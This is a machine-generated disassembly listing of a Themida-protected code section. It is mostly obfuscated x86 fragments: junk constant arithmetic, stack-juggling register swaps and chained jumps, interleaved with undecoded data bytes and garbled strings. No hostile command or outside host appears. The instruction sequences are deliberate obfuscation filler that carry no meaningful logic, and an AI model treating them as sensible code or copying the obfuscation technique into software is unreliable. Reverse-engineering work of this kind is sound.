jmp loc_562F4C
; ---------------------------------------------------------------------------
db 5Fh, 81h, 0C7h
dd 4, 0C6BA5256h, 0F712FC6Eh, 4960E9DAh, 6C2C0000h, 240C8B66h
dd 0E902C483h, 0FFFFBCA4h
; ---------------------------------------------------------------------------
loc_556E1C: ; CODE XREF: Themida_:00554EB6j
pop edi
push edi
xchg esi, [esp]
jmp loc_5642FB
; ---------------------------------------------------------------------------
dw 0E959h
dd 0BEF7h, 573CE981h, 8B5F0CE5h, 0C4812414h, 4, 0FFE2ACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556E41: ; CODE XREF: Themida_:00559765j
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_562061
; ---------------------------------------------------------------------------
db 5, 39h, 75h
dd 0D8014F2Fh, 2F75392Dh, 0C9F9E94Fh, 0E2810000h, 227C5E75h
dd 3C3CC281h, 0CA814235h, 7D91296Dh, 6E67F281h, 0C281F272h
dd 6F3238E1h, 0BF57CA01h, 6F3238E1h, 7C9DC281h, 0FA296D86h
dd 0E3B4E9h
db 0
byte_556E91 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FC68o
dd 50240C8Bh, 77D6E9h, 0C2815A00h, 17946883h, 0FFE5A7E9h
dd 38F68FFh, 3C890000h, 68505624h, 84140C7h, 1536E9h, 24148900h
dd 8CBA5256h, 815D9706h, 4C45D5CAh, 31E2E907h, 215F0000h
dd 0B9515AD6h, 4FF67422h, 0E959CE21h, 0FFFFED29h, 0E924248Bh
dd 78E4h
; ---------------------------------------------------------------------------
loc_556EEC: ; CODE XREF: Themida_:0055A3E9j
pop edx
jmp loc_55377C
; ---------------------------------------------------------------------------
word_556EF2 dw 0C8Bh ; DATA XREF: Themida_:0054FD5Co
aS0 db '$é0²',0
align 2
loc_556EFA: ; CODE XREF: Themida_:0055DA5Fj
add esp, 4
add esp, 4
push ebp
jmp loc_55C21A
; ---------------------------------------------------------------------------
loc_556F09: ; CODE XREF: Themida_:0055AA66j
push ebp
push 2A5E2656h
pop ebp
or ebp, 5B574D3Fh
dec ebp
jmp loc_55BDB8
; ---------------------------------------------------------------------------
dd 2C58158h, 55000000h, 42474FFh, 9367E9h, 24143100h, 5C241433h
dd 0AEFBE9h, 240C8900h, 0D6E9E189h, 830000B7h, 248904ECh
dd 24048124h, 4, 0A0685Eh, 4890000h, 4B824h, 0C6010000h
dd 4EE8158h, 56000000h, 42474FFh, 24048F5Eh, 2414895Ch
dd 0B45F26BAh, 8E2C12Ch, 0E902EAC1h, 5CCh, 4C481h, 0B7680000h
dd 89000057h, 0E2892414h, 4C281h, 0C2830000h, 24148704h
dd 4EC835Ch, 0FF243C89h, 5F042474h, 478E9h, 4C68100h, 81000000h
dd 4C6h, 24348700h, 0B4ECE95Ch
db 2 dup(0FFh)
word_556FC6 dw 8B66h ; DATA XREF: Themida_:0054FEBCo
dd 2368240Ch, 89000044h, 8F68243Ch, 89000039h, 4812424h
dd 424h, 243C8B00h, 4C481h, 0EBE90000h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556FEF: ; CODE XREF: Themida_:00554791j
add edi, esi
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55999E
; ---------------------------------------------------------------------------
loc_55700C: ; CODE XREF: Themida_:00554436j
pop esp
mov [esp], ebx
push ebp
mov ebp, 39D8717Ch
sub dword ptr [esp+4], 28163696h
add [esp+4], ebp
jmp loc_55BC94
; ---------------------------------------------------------------------------
loc_557027: ; CODE XREF: Themida_:005592C9j
mov edx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 0AA8645Ah
jmp loc_56160E
; ---------------------------------------------------------------------------
dd 76F5C381h, 0F3816E77h, 4044493Ch, 875BD901h, 248B240Ch
dd 2434FF24h, 0B757E958h, 0E9C00000h, 0C4C4E907h, 0EA810000h
dd 7EF10AC7h, 0C281EA01h, 7EF10AC7h, 0FFE47BE9h, 24148BFFh
dd 2904C483h, 0A4E6E9DEh, 0EF83FFFFh, 243C8702h, 6624248Bh
dd 0B2241489h, 66D30087h, 8124148Bh, 2C4h, 66A2E900h, 0E1C10000h
dd 45C18103h, 314A055Bh, 0F1815BD9h, 45016AC2h, 2BC2BB53h
dd 0D9314FA8h, 0E789575Bh, 4EC81h, 0C890000h, 4B924h, 0CF010000h
dd 0FFBC35E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5570D9: ; CODE XREF: Themida_:0055E8E3j
mov [esp], edx
mov edx, 1862446Ch
or esi, edx
pop edx
neg esi
push 2116h
mov [esp], ebx
mov ebx, 19137DBFh
sub ebx, 22261BC0h
or ebx, 6C8810C2h
jmp loc_564871
; ---------------------------------------------------------------------------
loc_557104: ; CODE XREF: Themida_:005633EFj
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_564329
; ---------------------------------------------------------------------------
loc_557119: ; CODE XREF: Themida_:0055F01Aj
mov edx, ecx
mov edi, edx
pop edx
jmp loc_564385
; ---------------------------------------------------------------------------
aSU db ')Â鸓',0
align 2
loc_55712A: ; CODE XREF: Themida_:0055F84Aj
shr edx, 3
add edx, 0FA81E953h
mov ebx, edx
pop edx
add ebx, eax
add dword ptr [ebx], 1
jmp loc_55E204
; ---------------------------------------------------------------------------
db 56h
dd 0BE6ED8BEh, 5EF331C3h, 0DD226A05h, 0FCF7E953h, 8950FFFFh
dd 405E0h, 0BE560000h, 4, 0E95EF001h, 0E387h
; ---------------------------------------------------------------------------
loc_55716C: ; CODE XREF: Themida_:005577D4j
mov edx, [esp]
push ecx
jmp loc_5591CE
; ---------------------------------------------------------------------------
db 5Bh, 58h, 66h
dd 8324148Bh, 0E95302C4h, 1FA4h
; ---------------------------------------------------------------------------
loc_557184: ; CODE XREF: Themida_:0055B8D1j
xchg ebx, [esp]
pop esp
mov [esp], ebx
push 52B51D23h
mov ebx, [esp]
add esp, 4
shl ebx, 2
add ebx, 0B52B8B73h
push ebp
mov ebp, ebx
mov eax, ebp
pop ebp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
sub [edi+24h], eax
push dword ptr [esp]
pop eax
jmp loc_551B4A
; ---------------------------------------------------------------------------
dd 38C868h, 241C8900h, 8083B652h, 0FBB3CBEEh, 0A4E9F300h
dd 1FFFFD1h, 5685BDEh, 89000077h, 68562404h, 51428CDh
dd 0BE30E95Eh, 895C0000h, 0E389241Ch, 9A96E9h
db 0
; ---------------------------------------------------------------------------
loc_5571F9: ; CODE XREF: Themida_:00550D84j
add eax, 38612F89h
push dword ptr [esp]
pop ecx
add esp, 4
push eax
jmp loc_550FE4
; ---------------------------------------------------------------------------
db 57h
dd 9C2F33BFh, 5FFD8933h, 0FFFFED81h, 0D5F7FFFFh, 726CED81h
dd 9DE94A0Eh
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557227: ; CODE XREF: Themida_:005521E1j
xor eax, ebp
xor ebp, eax
xor eax, ebp
push 1732h
mov [esp], ebp
xor [esp], esi
xor esi, [esp]
xor [esp], esi
push esi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
push esi
not dword ptr [esp]
mov esi, [esp]
add esp, 4
xchg esi, [esp]
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_558A9E
; ---------------------------------------------------------------------------
loc_557267: ; CODE XREF: Themida_:00560E43j
mov ecx, [esp]
add esp, 4
add esp, 4
xor edx, edx
push edi
jmp loc_54FF9E
; ---------------------------------------------------------------------------
dw 481h
dd 5F3F3924h, 1A4AE970h, 0E8C10000h, 55140508h, 0D1E913DFh
dd 0C1000019h, 0EC8305E3h, 0A72CE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5572A2: ; CODE XREF: Themida_:00552824j
add ebp, 4
jmp loc_55C221
; ---------------------------------------------------------------------------
loc_5572AD: ; CODE XREF: Themida_:00557FA6j
shl ebx, 7
jmp loc_56390D
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C4h
dd 4, 8B2434FFh, 0C483243Ch, 4C48304h, 15BAE9h
db 0
; ---------------------------------------------------------------------------
loc_5572CD: ; CODE XREF: Themida_:0055A23Bj
pop ebp
push ebx
mov ebx, 3F521D00h
jmp loc_5526BB
; ---------------------------------------------------------------------------
db 31h, 0F0h, 0E9h
dd 0FFFFF591h, 8B66F830h, 0EE9241Ch
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5572EB: ; CODE XREF: Themida_:00561BADj
sub ecx, eax
push 5A58h
mov [esp], eax
mov eax, 4E2E0FEFh
push ebp
mov ebp, 15866693h
xor ebp, 6A48682Bh
add ebp, 240A34DBh
add ebp, 51621898h
push eax
jmp loc_553FD9
; ---------------------------------------------------------------------------
loc_557318: ; CODE XREF: Themida_:0055537Dj
push eax
mov eax, 4
jmp loc_55658F
; ---------------------------------------------------------------------------
db 0BFh
dd 444602FCh, 428FC781h, 0E955FF1Fh, 0FFFFBFCEh, 11E9DE01h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55733B: ; CODE XREF: Themida_:0055B91Bj
and ecx, 65A3E86h
or ecx, 0B0963D7h
add ecx, 2B757BC7h
jmp loc_55BCA2
; ---------------------------------------------------------------------------
dw 0D0BDh
dd 0E96BC729h, 1735h, 5D2434FFh, 58DAE9h, 14E95B00h, 0D6h
dd 7C56E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557372: ; CODE XREF: Themida_:005587B7j
pop edx
jmp loc_5580E1
; ---------------------------------------------------------------------------
dd 0C1665B66h, 436607E3h, 0FFD9FFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557385: ; CODE XREF: Themida_:00561E85j
mov ebp, edi
mov edi, [esp]
add esp, 4
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
sub esp, 4
mov [esp], eax
jmp loc_55A6D7
; ---------------------------------------------------------------------------
dw 0FD2Ch
dd 0E953F800h, 51Ch
; ---------------------------------------------------------------------------
loc_5573B0: ; CODE XREF: Themida_:005552FEj
sub ecx, edi
pop edi
jmp loc_551C1E
; ---------------------------------------------------------------------------
dd 6624248Bh, 81240C8Bh, 4ECh, 0D91EE900h, 0AF05FFFFh
dd 2D1B0018h, 0D375383h, 0A8685053h, 0E97B2259h, 0C489h
dd 4BAh, 24540100h, 24148B04h, 0E9E38953h, 0FFFF94BDh
; ---------------------------------------------------------------------------
loc_5573F4: ; CODE XREF: Themida_:0055C4C0j
add ebx, 2CE043D4h
mov ebp, ebx
pop ebx
add ebx, 740171Ch
sub ebx, 0C912985h
add ebx, ebp
add ebx, 0C912985h
sub ebx, 740171Ch
pop ebp
xchg ebx, [esp]
mov esp, [esp]
loc_55741E: ; CODE XREF: Themida_:0055378Fj
sub esp, 4
mov [esp], ebx
jmp loc_55034A
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 6624248Bh, 5024048Bh, 405E089h, 0E9000000h, 0FFFFF2EBh
dd 0C8BE0F66h, 626C6866h, 0ABDCE9h, 0F9895B00h, 5F2434FFh
dd 104C483h, 0B39E9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55745E: ; CODE XREF: Themida_:00560631j
xor eax, [esp]
mov esp, [esp]
jmp loc_55B6C7
; ---------------------------------------------------------------------------
loc_557469: ; CODE XREF: Themida_:00557C07j
sub edi, 212D4B23h
mov esi, [esp]
add esp, 4
xchg edi, [esp]
jmp loc_557AC2
; ---------------------------------------------------------------------------
loc_557480: ; CODE XREF: Themida_:00561E61j
pop esi
shr esi, 6
jmp loc_55F0A4
; ---------------------------------------------------------------------------
db 81h, 0F5h, 84h
dd 16B484Ah, 8AE95DEEh, 330000C1h, 248B2414h, 2404D224h
dd 8A71E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5574A6: ; CODE XREF: Themida_:0055A9E8j
add eax, 69D23C3Eh
pop edi
add eax, 2702B1Dh
add eax, ebp
sub eax, 2702B1Dh
add eax, 6BF85D53h
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 1AFA1A93h
jmp loc_55E666
; ---------------------------------------------------------------------------
dw 0E688h
dd 41CE8058h, 1AECE9h, 5E08900h, 4, 8704E883h, 895C2404h
dd 0F3682434h, 5E4D3D7Fh, 295EF231h, 2C875AD5h, 24895C24h
dd 24048124h, 4, 9C51E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55750A: ; CODE XREF: Themida_:00558A62j
pop eax
pop ebp
inc eax
jmp loc_558299
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0E9240C89h, 3742h, 0C281E289h, 4, 73F1E9h, 48F5C00h
dd 0BB04E924h, 48BFFFFh, 4C48324h, 81E18951h, 4C1h, 4BE5600h
dd 0E9000000h, 0B33h, 53D4EA81h, 0DEE9B370h, 210000CBh
dd 2D405AD0h, 6E1B36A1h, 7BBCC281h, 0C2016711h, 7BBCEA81h
dd 0E9586711h, 4FABh, 52B9B353h, 0E6C0F2B6h, 4D2EE903h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557586: ; CODE XREF: Themida_:00562700j
mov esp, [esp]
retn
; ---------------------------------------------------------------------------
dw 3FE9h
dd 0F60000CFh, 0FAC8E9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557596: ; CODE XREF: Themida_:0055DA25j
xor eax, 58AAC165h
sub ebx, eax
jmp loc_563130
; ---------------------------------------------------------------------------
loc_5575A2: ; CODE XREF: Themida_:00553E4Cj
pop ecx
jmp loc_563998
; ---------------------------------------------------------------------------
dd 0C581E589h, 4, 234FE9h
db 0
; ---------------------------------------------------------------------------
loc_5575B5: ; CODE XREF: Themida_:005532F7j
mov al, 0ACh
add dh, al
pop eax
add dh, 0EAh
mov al, dh
mov edx, [esp]
jmp loc_552EC6
; ---------------------------------------------------------------------------
db 31h
dd 5E1C1E9h, 8904EC83h, 0E4BB241Ch, 16FA0BFh, 0EF815BD9h
dd 45533D31h, 0FF8C75E9h, 3FB805FFh, 0C1293E73h, 57E92958h
dd 67226852h, 815A56F4h, 0FFFFFFEAh, 2EAC1FFh, 309FCA81h
dd 0F2812CE4h, 499E10F5h, 0B6E9D789h, 560000B5h, 5255E689h
dd 0AD7DC568h, 0C2815A60h, 463A6C2Fh, 3CC2E9h, 57515B00h
dd 5449E9h, 0B8505B00h, 4, 0E958C629h, 8149h, 2D3DE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557646: ; CODE XREF: Themida_:00554E41j
pop ecx
pop ebx
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_55764D: ; CODE XREF: Themida_:0055C455j
add ebx, edx
push eax
mov eax, 0
sub eax, 562E59B0h
add eax, ebx
push esi
mov esi, 562E59B0h
add eax, esi
pop esi
jmp loc_55B782
; ---------------------------------------------------------------------------
loc_55766A: ; CODE XREF: Themida_:0055CBB6j
sub ebp, eax
mov eax, [esp]
jmp loc_560CC4
; ---------------------------------------------------------------------------
loc_557674: ; CODE XREF: Themida_:0055A6A7j
mov eax, 4
add esi, 5229132Fh
add esi, eax
jmp loc_561B91
; ---------------------------------------------------------------------------
dw 8B68h
dd 0FF787663h, 3C8B2434h, 4C48124h, 83000000h, 0F75704C4h
dd 0F75F241Ch, 9CE956D7h, 54FFFFF8h, 0A62FE9h
db 0
; ---------------------------------------------------------------------------
loc_5576AD: ; CODE XREF: Themida_:00554827j
mov esi, ebp
jmp loc_56306E
; ---------------------------------------------------------------------------
loc_5576B4: ; CODE XREF: Themida_:005565D9j
push 2CE043CEh
pop ebx
not ebx
jmp loc_55C4BF
; ---------------------------------------------------------------------------
db 80h, 0F4h, 0ABh
dd 3C380h, 3EB80E3h, 0E924048Bh, 0FFFFBA99h, 4B951h, 0CB010000h
dd 4F8BE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5576E2: ; CODE XREF: Themida_:0055B83Ej
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_56111D
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 240C3304h, 0E9240C31h, 0FFFFC9C4h, 0CAC3E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55770A: ; CODE XREF: Themida_:00556290j
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_562B8A
; ---------------------------------------------------------------------------
aPsg db 'PéG>',0
align 4
dd 5E300BBEh, 8EFBE95Eh, 48FFFFFh, 24248B24h, 0B60FC330h
dd 8734FFC0h, 0FFC5FCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557739: ; CODE XREF: Themida_:005589FCj
push esp
mov edx, [esp]
jmp loc_55D17F
; ---------------------------------------------------------------------------
dw 0DD88h
dd 0FFFA2CE9h, 0B8EB81FFh, 1ED6440h, 8BE95BD8h, 810000C6h
dd 42404h, 555B0000h, 0FFD16FE9h, 2F9CBDFFh, 97E922A6h
dd 0BF000095h, 9837141h, 4247C01h, 5F2434FFh, 19D5E9h
dd 0BB85000h, 5044A650h, 0FFCB97E9h, 36F681FFh, 89FEDFE6h
dd 0C7815EF2h, 176E6EAFh, 0EF81D701h, 176E6EAFh, 5A2434FFh
dd 0FDE95450h, 0BA00003Dh, 6E517318h, 2015C281h, 0DAF70056h
dd 7AA5C281h, 0EA810967h, 2D538781h, 0A7C2E9h
db 0
; ---------------------------------------------------------------------------
loc_5577CD: ; CODE XREF: Themida_:005531D3j
add dword ptr [esp], 4
jmp loc_55716C
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 2BBAE9h
db 0
; ---------------------------------------------------------------------------
loc_5577E1: ; CODE XREF: Themida_:00557DF7j
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 3F2h
jmp loc_555154
; ---------------------------------------------------------------------------
db 52h
dd 23BF768h, 24E95A75h, 1000042h, 0EB815DEBh, 4, 0D839E9h
dd 4C48100h, 8F000000h, 248B2404h, 24148924h, 0FF86E2E9h
dd 4C481FFh, 1000000h, 24348BF7h, 0FFB19DE9h, 242C8BFFh
dd 5E08950h, 4, 0E904C083h, 0FFFFB17Bh, 243C335Ch, 56EE9h
db 0
; ---------------------------------------------------------------------------
loc_557861: ; CODE XREF: Themida_:0055819Dj
push 736Dh
mov [esp], esi
mov esi, eax
push ecx
mov ecx, esi
mov edx, ecx
pop ecx
jmp loc_55485A
; ---------------------------------------------------------------------------
dw 0C89h
dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 610A68h, 240C8900h
dd 54535954h, 4C3815Bh, 81000000h, 4EBh, 241C8700h, 0E662E95Ch
dd 2558FFFFh, 4FDE17A9h, 0AC01E9h
db 0
; ---------------------------------------------------------------------------
loc_5578B5: ; CODE XREF: Themida_:00564769j
mov edx, ebp
pop ebp
add edx, 3AED5B1Ah
or edx, 5FAF11B9h
inc edx
shr edx, 1
jmp loc_55C160
; ---------------------------------------------------------------------------
dd 5E90AB3h, 53FFFF98h, 0BD446CBBh, 0D4CB812Bh, 0E97F103Eh
dd 45E8h, 1C8BD888h, 4C48324h, 88C78853h, 48B5BFEh, 4C48324h
dd 942DE9h, 5BCB8000h, 8085CB80h, 0DA305DF3h, 241C8B66h
dd 410AE9h, 241C8B00h, 0FF9698E9h, 241489FFh, 0A2BA5256h
dd 89157E71h, 0A6BA5AD6h, 29157E71h, 0D3015EF2h, 0FFDF12E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557935: ; CODE XREF: Themida_:0055C760j
pop ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_55F12A
; ---------------------------------------------------------------------------
dd 6668EC80h, 0E9731368h, 4712h, 4C481h, 0F2210000h, 0FFB040E9h
dd 241489FFh, 0F788E688h, 6DE9585Ah, 0FFFFFFF9h, 3E92434h
dd 890000B4h, 0A4E958C2h
db 76h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557983: ; CODE XREF: Themida_:005541D8j
lea eax, [edi+eax*4]
push 0AB8h
mov [esp], eax
jmp loc_556AAD
; ---------------------------------------------------------------------------
db 5Bh
dd 4C381h, 0C3810000h, 4, 0E9241C87h, 9FBDh
dword_5579A8 dd 240C8B66h, 0BBC5E957h, 2B2DFFFFh, 0E9676E6Ch, 0FFFFCFB3h
; DATA XREF: Themida_:0054FD10o
dd 5675BF57h, 534F6030h, 0A24DF4BBh, 91EB812Fh, 1BC0E0Fh
dd 2269E9DFh, 0BD550000h, 2FD93762h, 0C15DE931h, 0F18102E9h
dd 3192A933h, 34FFCD89h, 8E7DE924h, 48FFFFFh, 0C3815C24h
dd 4, 687368h, 24348900h, 7D94E9h, 0E99BB000h, 0FFFFBFE3h
; ---------------------------------------------------------------------------
loc_557A10: ; CODE XREF: Themida_:00553F04j
pop esi
push edi
push 26C8h
mov [esp], ecx
mov ecx, 0CF63F87h
add ecx, 225525A9h
jmp loc_55A93B
; ---------------------------------------------------------------------------
loc_557A2A: ; CODE XREF: Themida_:0055AA40j
sub esp, 4
mov [esp], ebp
push edx
push 7CED51F9h
pop edx
shr edx, 2
sub edx, 0CD9A11BDh
mov ebp, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 0AE5EBD43h
add ebp, 3F554B6Fh
add ebp, edi
sub ebp, 3F554B6Fh
pop edi
jmp loc_560ED7
; ---------------------------------------------------------------------------
loc_557A65: ; CODE XREF: Themida_:0055177Bj
xor esi, 571223E3h
mov eax, esi
jmp loc_55A1C5
; ---------------------------------------------------------------------------
dw 8956h
dd 4BF57E6h, 1000000h, 0BD555FFEh, 2, 875DEE29h, 665C2434h
dd 0E9241489h, 0FFFFB3BCh, 0B652E328h, 5AF32871h, 80AFEB80h
dd 5AE955EBh
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557AA7: ; CODE XREF: Themida_:005595ADj
not ebp
dec ebp
xor ebp, 2B1D23h
push eax
mov eax, 21557AA3h
sub eax, 72ABAFC3h
xor ebp, eax
jmp loc_55B4BD
; ---------------------------------------------------------------------------
loc_557AC2: ; CODE XREF: Themida_:0055747Bj
mov esp, [esp]
jmp loc_563379
; ---------------------------------------------------------------------------
loc_557ACA: ; CODE XREF: Themida_:00563E7Fj
push eax
mov eax, 4
sub edi, eax
jmp loc_551B2F
; ---------------------------------------------------------------------------
loc_557AD7: ; CODE XREF: Themida_:00552EEDj
push 7A50h
mov [esp], ecx
mov ecx, 686F3AD0h
shr ecx, 8
jmp loc_56056F
; ---------------------------------------------------------------------------
loc_557AEC: ; CODE XREF: Themida_:0056288Dj
add eax, 4
jmp loc_558001
; ---------------------------------------------------------------------------
dw 0C781h
dd 8410E44Eh, 505FFB01h, 0A16BE56h, 0ACE96571h
db 4Fh, 2 dup(0)
byte_557B0B db 0FFh ; DATA XREF: Themida_:0054FD08o
dd 0DAE92434h, 5CFFFFE9h, 89243489h, 4EC81E6h, 89000000h
dd 0DBBF243Ch, 0C179C50Eh, 0BB5305E7h, 671434C2h, 1005F381h
dd 0E3C17048h, 7DE38107h, 0E913764Ah, 3395h
; ---------------------------------------------------------------------------
loc_557B44: ; CODE XREF: Themida_:00560A85j
mov dh, 21h
mov bl, dh
jmp loc_55E5B5
; ---------------------------------------------------------------------------
db 0E9h, 0C5h, 83h
dd 0E954FFFFh, 0FFFFE9BAh, 0EB42C181h, 0C801B6F2h, 4EC8359h
dd 0B9240C89h, 2, 0F8E9C801h, 0BA000093h, 1D66CAAh, 8245429h
dd 27BDE9h, 24043100h, 0E9240433h, 0FFFFA3DAh
; ---------------------------------------------------------------------------
loc_557B8C: ; CODE XREF: Themida_:00559A7Ej
add edx, 1ECC3773h
mov [edx], bh
pop edx
pop ecx
jmp loc_56248F
; ---------------------------------------------------------------------------
a0uxsqb db '[0ãX韡',0
align 4
loc_557BA4: ; CODE XREF: Themida_:0055B3B6j
sub ecx, 22F94614h
sub ecx, edx
add ecx, 22F94614h
pop edx
add edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
inc edi
jmp loc_5506E0
; ---------------------------------------------------------------------------
loc_557BC2: ; CODE XREF: Themida_:00554DB5j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], edx
push edi
push 0E346929h
pop edi
xor edi, 0E346901h
mov edx, edi
jmp loc_55901F
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0D49h
; ---------------------------------------------------------------------------
loc_557BF0: ; CODE XREF: Themida_:0055EEEFj
add edi, edx
sub edi, 51C72630h
pop edx
push esi
mov esi, 4
add edi, 212D4B23h
add edi, esi
jmp loc_557469
; ---------------------------------------------------------------------------
dword_557C0C dd 9D1C77FFh, 24041958h, 82FDE99Ch, 248BFFFFh, 2434FF24h
; DATA XREF: Themida_:0054FE28o
dd 183DE958h
db 2 dup(0)
word_557C26 dw 0E9ACh ; DATA XREF: Themida_:0054FCBCo
dd 0B1F9h, 5C240C33h, 0FFA743E9h, 5FFA89FFh, 312DEE81h
dd 0D6010D1Dh, 312DC681h, 148B0D1Dh, 0B465E924h, 8348FFFFh
dd 3C8904ECh, 0E26ABF24h, 0F8011066h, 81243C8Bh, 4C4h
dd 0FF5E5000h, 51582434h, 0C181E189h, 4, 4C181h, 0C870000h
dd 6C815C24h, 27D30424h, 740144F9h, 44810424h, 27D30424h
dd 0FAE944F9h, 8BFFFFEBh, 0C481240Ch, 4, 34FFDA28h, 0C4815B24h
dd 4, 81E68956h, 4C6h, 4BF5700h, 0E9000000h, 9C0Ah, 0C5E9E389h
dd 89000080h, 0E6892434h, 7DC168h, 242C8900h, 0AA3CB268h
dd 0E9455D05h, 0FFFFC899h, 0AE34E957h, 2CE90000h, 68FFFF82h
dd 5F17h, 0BE243489h, 551C675Ch, 17D194BBh, 0E9F30113h
dd 0FFFFCDB6h, 0D893E95Dh, 0CDFEFFFFh, 66EE8852h, 0F6F78853h
dd 66FE88D7h, 0E9F5885Bh, 94BFh
; ---------------------------------------------------------------------------
loc_557D20: ; CODE XREF: Themida_:005511C6j
pop ebx
jmp loc_563CBB
; ---------------------------------------------------------------------------
loc_557D26: ; CODE XREF: Themida_:0056238Fj
add ebx, 4
jmp loc_5500B4
; ---------------------------------------------------------------------------
db 0B8h, 0C0h, 62h
dd 9055834h, 0E9E54801h, 0A1BBh, 0E952C388h, 0D729h, 0E9C20159h
dd 847h, 0D33040B3h, 4EC835Ah, 88240489h, 58C288D8h, 241C8B66h
dd 431EE9h, 4C28100h, 33000000h, 0C9E92414h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557D77: ; CODE XREF: Themida_:005620D5j
xchg ebp, [esp]
pop esp
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
push edi
jmp loc_55E9DC
; ---------------------------------------------------------------------------
loc_557D89: ; CODE XREF: Themida_:005630C2j
add eax, ecx
pop ecx
add eax, 4
xchg eax, [esp]
pop esp
mov ecx, edx
pop edx
mov ebp, [esp]
add esp, 4
jmp loc_552E5D
; ---------------------------------------------------------------------------
db 81h, 6Ch, 24h
dd 94B5C04h, 2444811Bh, 0D66CAA04h, 60E95F01h
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557DB7: ; CODE XREF: Themida_:0055140Fj
xchg ebp, [esp]
pop esp
push 5C48h
mov [esp], edi
push edx
mov edx, 1B9512AAh
inc edx
jmp loc_563057
; ---------------------------------------------------------------------------
db 31h
dd 3C33243Ch, 24248B24h, 9C242CD3h, 0FF8136E9h, 0EB815BFFh
dd 70C53FA0h, 79E2EB81h, 7EE9766Fh
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557DF3: ; CODE XREF: Themida_:00550987j
add dword ptr [esp], 4
jmp loc_5577E1
; ---------------------------------------------------------------------------
loc_557DFC: ; CODE XREF: Themida_:0055FF91j
mov ebp, 75B42C79h
mov ebx, 8AD9439Bh
add ebx, ebp
pop ebp
or ecx, ebx
pop ebx
shr ecx, 1
jmp loc_553645
; ---------------------------------------------------------------------------
db 2Ch
dd 0FEC88641h, 0E9C886C9h, 0FFFFCF47h, 0C15DEA31h, 0A8E903E2h
dd 81000054h, 683D01EBh, 81FB0177h, 683D01C3h, 0C3815F77h
dd 4, 5C241C87h, 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h
dd 0CF685C24h, 8900004Fh, 0EE882414h, 88F58851h, 8B59872Ch
dd 0C4812414h, 4, 809DE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557E7A: ; CODE XREF: Themida_:00555A10j
push dword ptr [esp]
pop ebx
push ebp
push esp
pop ebp
push edx
mov edx, 4
add ebp, 51DE6F6Fh
sub ebp, 685C2A0Ah
add ebp, edx
jmp loc_551786
; ---------------------------------------------------------------------------
loc_557E9A: ; CODE XREF: Themida_:0055561Aj
add ecx, 2
jmp loc_55E9B6
; ---------------------------------------------------------------------------
db 81h, 0F3h, 0ADh
dd 8963EB22h, 0FEE95BDFh, 52FFFF97h, 4770BF57h, 9683D3Ch
dd 89000015h, 0BD55243Ch, 2F9F4211h, 4246C01h, 0EA815A5Dh
dd 2F9F4211h, 8EE2815Fh, 0E97CBC78h, 1A80h, 592434FFh
dd 4C481h, 0C7810000h, 594B3B42h, 0EF81EF01h, 594B3B42h
dd 0FFF948E9h, 241C89FFh, 5A1B68h, 24348900h, 0B850E689h
dd 40202E3h, 7486E9h, 5AF02800h, 2C0CB353h, 4D828ADh, 0D0005BADh
dd 35040C04h, 83D8005Ah, 148904ECh, 808AB624h, 33E98DE6h
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
